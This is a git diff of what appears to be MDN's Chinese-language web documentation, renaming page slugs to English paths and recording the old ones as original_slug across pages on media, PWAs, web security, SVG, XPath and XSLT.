    diff --git a/files/zh-cn/web/media/autoplay_guide/index.html b/files/zh-cn/web/media/autoplay_guide/index.html index db2ac88dc0..aa8c207ed2 100644 --- a/files/zh-cn/web/media/autoplay_guide/index.html +++ b/files/zh-cn/web/media/autoplay_guide/index.html @@ -1,7 +1,8 @@ --- title: Autoplay guide for media and Web Audio APIs -slug: Web/媒体/Autoplay_guide +slug: Web/Media/Autoplay_guide translation_of: Web/Media/Autoplay_guide +original_slug: Web/媒体/Autoplay_guide ---

    Automatically starting the playback of audio (or videos with audio tracks) immediately upon page load can be an unwelcome surprise to users. While autoplay of media serves a useful purpose, it should be used carefully and only when needed. In order to give users control over this, browsers often provide various forms of autoplay blocking. In this guide, we'll cover autoplay functionality in the various media and Web Audio APIs, including a brief overview of how to use autoplay and how to work with browsers to handle autoplay blocking gracefully.

    diff --git a/files/zh-cn/web/media/dash_adaptive_streaming_for_html_5_video/index.html b/files/zh-cn/web/media/dash_adaptive_streaming_for_html_5_video/index.html index aed7160371..d54f6f8749 100644 --- a/files/zh-cn/web/media/dash_adaptive_streaming_for_html_5_video/index.html +++ b/files/zh-cn/web/media/dash_adaptive_streaming_for_html_5_video/index.html @@ -1,6 +1,6 @@ --- title: 为 HTML 5 视频提供的 DASH 自适应串流 -slug: Web/HTML/DASH_Adaptive_Streaming_for_HTML_5_Video +slug: Web/Media/DASH_Adaptive_Streaming_for_HTML_5_Video tags: - DASH - HTML @@ -8,6 +8,7 @@ tags: - 指南 - 视频流 translation_of: Web/Media/DASH_Adaptive_Streaming_for_HTML_5_Video +original_slug: Web/HTML/DASH_Adaptive_Streaming_for_HTML_5_Video ---

    经由 HTTP 的动态自适应串流(DASH)是一种自适应串流协议。 这意味着它使得视频串流能基于网络性能来调整比特率,以保证视频流畅播放。

    diff --git a/files/zh-cn/web/media/formats/video_codecs/index.html b/files/zh-cn/web/media/formats/video_codecs/index.html index d299975762..418edf17d3 100644 --- a/files/zh-cn/web/media/formats/video_codecs/index.html +++ b/files/zh-cn/web/media/formats/video_codecs/index.html @@ -1,7 +1,8 @@ --- title: 网络视频编解码器指南 -slug: Web/Media/Formats/视频编解码器 +slug: Web/Media/Formats/Video_codecs translation_of: Web/Media/Formats/Video_codecs +original_slug: Web/Media/Formats/视频编解码器 ---
    {{QuickLinksWithSubpages("/en-US/docs/Web/Media")}}
    diff --git a/files/zh-cn/web/media/index.html b/files/zh-cn/web/media/index.html index 5a66bbe303..3a258c4c65 100644 --- a/files/zh-cn/web/media/index.html +++ b/files/zh-cn/web/media/index.html @@ -1,10 +1,11 @@ --- title: Web 媒体技术 -slug: Web/媒体 +slug: Web/Media tags: - 视频 - 音频 translation_of: Web/Media +original_slug: Web/媒体 ---
    diff --git a/files/zh-cn/web/performance/how_browsers_work/index.html b/files/zh-cn/web/performance/how_browsers_work/index.html index 71e4bce57e..bacbcf0762 100644 --- a/files/zh-cn/web/performance/how_browsers_work/index.html +++ b/files/zh-cn/web/performance/how_browsers_work/index.html @@ -1,7 +1,8 @@ --- title: 渲染页面:浏览器的工作原理 -slug: Web/Performance/浏览器渲染页面的工作原理 +slug: Web/Performance/How_browsers_work translation_of: Web/Performance/How_browsers_work +original_slug: Web/Performance/浏览器渲染页面的工作原理 ---

    页面内容快速加载和流畅的交互是用户希望得到的Web体验,因此,开发者应力争实现这两个目标。

    diff --git a/files/zh-cn/web/progressive_web_apps/add_to_home_screen/index.html b/files/zh-cn/web/progressive_web_apps/add_to_home_screen/index.html index a0915ea9d2..6c54e5b115 100644 --- a/files/zh-cn/web/progressive_web_apps/add_to_home_screen/index.html +++ b/files/zh-cn/web/progressive_web_apps/add_to_home_screen/index.html @@ -1,6 +1,6 @@ --- title: 添加到主屏幕 -slug: Web/Progressive_web_apps/添加到主屏幕 +slug: Web/Progressive_web_apps/Add_to_home_screen tags: - PWA - 图标 @@ -9,6 +9,7 @@ tags: - 清单 - 渐进式Web应用 translation_of: Web/Progressive_web_apps/Add_to_home_screen +original_slug: Web/Progressive_web_apps/添加到主屏幕 ---

    添加到主屏幕(A2HS)添加到主屏幕(简称A2HS)是现代智能手机浏览器中的一项功能,使开发人员可以轻松便捷地将自己喜欢的Web应用程序(或网站)的快捷方式添加到主屏幕中,以便他们随后可以通过单点访问它。本指南说明了A2HS的使用方式,以及作为开发人员要使您的用户利用A2HS所需做的事情。

    diff --git a/files/zh-cn/web/progressive_web_apps/loading/index.html b/files/zh-cn/web/progressive_web_apps/loading/index.html index 7f45a3c278..13e51db104 100644 --- a/files/zh-cn/web/progressive_web_apps/loading/index.html +++ b/files/zh-cn/web/progressive_web_apps/loading/index.html @@ -1,10 +1,11 @@ --- title: 渐进式加载 -slug: Web/Progressive_web_apps/加载 +slug: Web/Progressive_web_apps/Loading tags: - PWA - 渐进式加载 translation_of: Web/Progressive_web_apps/Loading +original_slug: Web/Progressive_web_apps/加载 ---
    {{PreviousMenu("Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}
    diff --git a/files/zh-cn/web/progressive_web_apps/responsive/media_types/index.html b/files/zh-cn/web/progressive_web_apps/responsive/media_types/index.html index ef181eedcc..0887a22619 100644 --- a/files/zh-cn/web/progressive_web_apps/responsive/media_types/index.html +++ b/files/zh-cn/web/progressive_web_apps/responsive/media_types/index.html @@ -1,7 +1,8 @@ --- title: 媒体 -slug: Web/Guide/CSS/Getting_started/Media +slug: Web/Progressive_web_apps/Responsive/Media_types translation_of: Web/Progressive_web_apps/Responsive/Media_types +original_slug: Web/Guide/CSS/Getting_started/Media ---

    {{CSSTutorialTOC}} {{previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Tables", "表格")}}

    diff --git a/files/zh-cn/web/security/subresource_integrity/index.html b/files/zh-cn/web/security/subresource_integrity/index.html index 86c80188c0..7a6d4b4756 100644 --- a/files/zh-cn/web/security/subresource_integrity/index.html +++ b/files/zh-cn/web/security/subresource_integrity/index.html @@ -1,6 +1,6 @@ --- title: Subresource Integrity -slug: Web/Security/子资源完整性 +slug: Web/Security/Subresource_Integrity tags: - CORS - SRI @@ -8,6 +8,7 @@ tags: - Subresource Integrity - 子资源完整性 translation_of: Web/Security/Subresource_Integrity +original_slug: Web/Security/子资源完整性 ---

    子资源完整性(SRI)是允许浏览器检查其获得的资源(例如从 CDN 获得的)是否被篡改的一项安全特性。它通过验证获取文件的哈希值是否和你提供的哈希值一样来判断资源是否被篡改。

    diff --git a/files/zh-cn/web/security/transport_layer_security/index.html b/files/zh-cn/web/security/transport_layer_security/index.html index ed6e6bb128..bcadfa9d13 100644 --- a/files/zh-cn/web/security/transport_layer_security/index.html +++ b/files/zh-cn/web/security/transport_layer_security/index.html @@ -1,11 +1,12 @@ --- title: 传输层安全协议 -slug: Web/Security/传输层安全协议 +slug: Web/Security/Transport_Layer_Security tags: - 传输层安全协议 - 安全 - 密码学 translation_of: Web/Security/Transport_Layer_Security +original_slug: Web/Security/传输层安全协议 ---

    使用传输层安全性协议(TLS)进行的任何连接的安全性在很大程度上取决于密码套件和所选的安全性参数。 本文的目的是帮助您确保客户端和服务器之间的机密性和完整性通信。Mozilla运营安全团队(OpSec)维护了 服务器端TLS参考配置的Wiki条目

    diff --git a/files/zh-cn/web/svg/attribute/styling/index.html b/files/zh-cn/web/svg/attribute/styling/index.html index 6d9669c5c5..827a474ca3 100644 --- a/files/zh-cn/web/svg/attribute/styling/index.html +++ b/files/zh-cn/web/svg/attribute/styling/index.html @@ -1,7 +1,8 @@ --- title: SVG样式属性 -slug: Web/SVG/Attribute/样式 +slug: Web/SVG/Attribute/Styling translation_of: Web/SVG/Attribute/Styling +original_slug: Web/SVG/Attribute/样式 ---

    SVG样式属性是所有可以在任何SVG元素上指定以应用CSS样式效果的属性。

    diff --git a/files/zh-cn/web/svg/attribute/text-anchor/index.html b/files/zh-cn/web/svg/attribute/text-anchor/index.html index 7a71281230..31d75a3209 100644 --- a/files/zh-cn/web/svg/attribute/text-anchor/index.html +++ b/files/zh-cn/web/svg/attribute/text-anchor/index.html @@ -1,10 +1,11 @@ --- title: text-anchor -slug: Web/SVG/Attribute/文本锚点 +slug: Web/SVG/Attribute/text-anchor tags: - 可缩放矢量图形 - 可缩放矢量图形 属性 translation_of: Web/SVG/Attribute/text-anchor +original_slug: Web/SVG/Attribute/文本锚点 ---

    « SVG Attribute reference home

    diff --git a/files/zh-cn/web/svg/tutorial/svg_and_css/index.html b/files/zh-cn/web/svg/tutorial/svg_and_css/index.html index f2e753baca..5e13cd92bc 100644 --- a/files/zh-cn/web/svg/tutorial/svg_and_css/index.html +++ b/files/zh-cn/web/svg/tutorial/svg_and_css/index.html @@ -1,7 +1,8 @@ --- title: SVG and CSS -slug: Web/Guide/CSS/Getting_started/SVG_and_CSS +slug: Web/SVG/Tutorial/SVG_and_CSS translation_of: Web/SVG/Tutorial/SVG_and_CSS +original_slug: Web/Guide/CSS/Getting_started/SVG_and_CSS ---
    {{CSSTutorialTOC}}
    diff --git a/files/zh-cn/web/web_components/html_imports/index.html b/files/zh-cn/web/web_components/html_imports/index.html index fe3aeb99cd..35637c4c3f 100644 --- a/files/zh-cn/web/web_components/html_imports/index.html +++ b/files/zh-cn/web/web_components/html_imports/index.html @@ -1,10 +1,11 @@ --- title: HTML 导入(HTML Imports) -slug: Web/Web_Components/HTML导入 +slug: Web/Web_Components/HTML_Imports tags: - HTML Imports - Web Components translation_of: Web/Web_Components/HTML_Imports +original_slug: Web/Web_Components/HTML导入 ---

    {{DefaultAPISidebar("Web Components")}}

    diff --git a/files/zh-cn/web/xpath/comparison_with_css_selectors/index.html b/files/zh-cn/web/xpath/comparison_with_css_selectors/index.html index c196e077e6..3a786a8123 100644 --- a/files/zh-cn/web/xpath/comparison_with_css_selectors/index.html +++ b/files/zh-cn/web/xpath/comparison_with_css_selectors/index.html @@ -1,7 +1,8 @@ --- title: Comparison of CSS Selectors and XPath -slug: Web/CSS/CSS_Selectors/Comparison_with_XPath +slug: Web/XPath/Comparison_with_CSS_selectors translation_of: Web/XPath/Comparison_with_CSS_selectors +original_slug: Web/CSS/CSS_Selectors/Comparison_with_XPath ---
    {{CSSRef("Selectors")}}{{QuickLinksWithSubpages("/en-US/docs/Web/XPath")}}{{Draft}}
    diff --git a/files/zh-cn/web/xpath/introduction_to_using_xpath_in_javascript/index.html b/files/zh-cn/web/xpath/introduction_to_using_xpath_in_javascript/index.html index cc4b806fa6..d72b2fdfe7 100644 --- a/files/zh-cn/web/xpath/introduction_to_using_xpath_in_javascript/index.html +++ b/files/zh-cn/web/xpath/introduction_to_using_xpath_in_javascript/index.html @@ -1,6 +1,6 @@ --- title: Introduction to using XPath in JavaScript -slug: Web/JavaScript/Introduction_to_using_XPath_in_JavaScript +slug: Web/XPath/Introduction_to_using_XPath_in_JavaScript tags: - DOM - Extensions @@ -8,6 +8,7 @@ tags: - Web Development - XPath translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript +original_slug: Web/JavaScript/Introduction_to_using_XPath_in_JavaScript ---

    该篇文档描述了如何在扩展和网站内部通过JavaScript调用 XPath 接口。 Mozilla 实现了相当多的 DOM 3 XPath,意味着 Xpath 表达式已经可以在 HTML 和 XML 文档中使用。

    diff --git a/files/zh-cn/web/xslt/element/index.html b/files/zh-cn/web/xslt/element/index.html index ecc12b2d6e..84959686d4 100644 --- a/files/zh-cn/web/xslt/element/index.html +++ b/files/zh-cn/web/xslt/element/index.html @@ -1,9 +1,10 @@ --- title: Elements -slug: Web/XSLT/Elements +slug: Web/XSLT/Element tags: - XSLT_Reference translation_of: Web/XSLT/Element +original_slug: Web/XSLT/Elements ---

    {{ XsltRef() }} There are two types of elements discussed here: top-level elements and instructions. A top-level element must appear as the child of either <xsl:stylesheet> or <xsl:transform>. An instruction, on the other hand, is associated with a template. A stylesheet may include several templates. A third type of element, not discussed here, is the literal result element (LRE). An LRE also appears in a template. It consists of any non-instruction element that should be copied as-is to the result document, for example, an <hr> element in an HTML conversion stylesheet.

    On a related note, any attribute in an LRE and some attributes of a limited number of XSLT elements can also include what is known as an attribute value template. An attribute value template is simply a string that includes an embedded XPath expression which is used to specify the value of an attribute. At run-time the expression is evaluated and the result of the evaluation is substituted for the XPath expression. For example, assume that a variable "image-dir" is defined as follows:

    -- cgit v1.2.3-54-g00ecf